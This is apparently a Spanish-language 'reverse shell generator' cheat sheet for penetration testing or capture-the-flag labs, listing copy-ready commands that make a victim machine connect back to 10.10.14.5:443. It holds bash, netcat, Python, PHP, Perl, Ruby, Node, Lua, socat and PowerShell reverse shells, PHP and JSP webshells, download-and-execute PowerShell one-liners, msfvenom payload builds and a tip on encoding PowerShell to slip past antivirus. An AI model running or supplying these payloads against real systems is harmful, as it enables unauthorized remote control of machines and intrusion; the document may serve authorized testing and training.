Generador de reverse shells
Escribe tu IP (la de tun0) y el puerto en el que escuchas, y copia la shell que encaje con lo que hay instalado en la víctima. Después, mejora la shell con la chuleta de TTY.
Linux
Escuchar en tu máquina
nc -lvnp 443
rlwrap -cAr nc -lvnp 443
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+'
Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
El bash -c del principio hace falta si el comando lo ejecuta sh (por ejemplo, desde una inyección de comandos).
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22
Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
nc -e /bin/bash 10.10.14.5 443
Solo en versiones de nc que traen -e (nc.traditional, ncat).
busybox nc 10.10.14.5 443 -e sh
Lenguajes de scripting
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)'
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');"
Shell con TTY completa (socat)
socat file:`tty`,raw,echo=0 tcp-listen:443
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Si la víctima no tiene socat, súbele un binario estático (github.com/andrew-d/static-binaries).
Webshells
PHP
<?php system($_GET['cmd']); ?>
Úsala con ?cmd=id. Si system está deshabilitada, prueba passthru, shell_exec, exec o popen.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
Otros lenguajes
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
Windows
PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
Si el antivirus lo bloquea, pásalo por el codificador (PowerShell -enc) o usa Invoke-PowerShellTcp.
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"
Sirve el script con python3 -m http.server 80 en la carpeta donde lo tengas.
Con binarios
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443
En tu máquina: impacket-smbserver share $(pwd) -smb2support (en la carpeta con nc.exe).
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443
stty raw -echo; (stty size; cat) | nc -lvnp 443
msfvenom
Ejecutables
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll
Web
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php
Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c
Ningún comando coincide.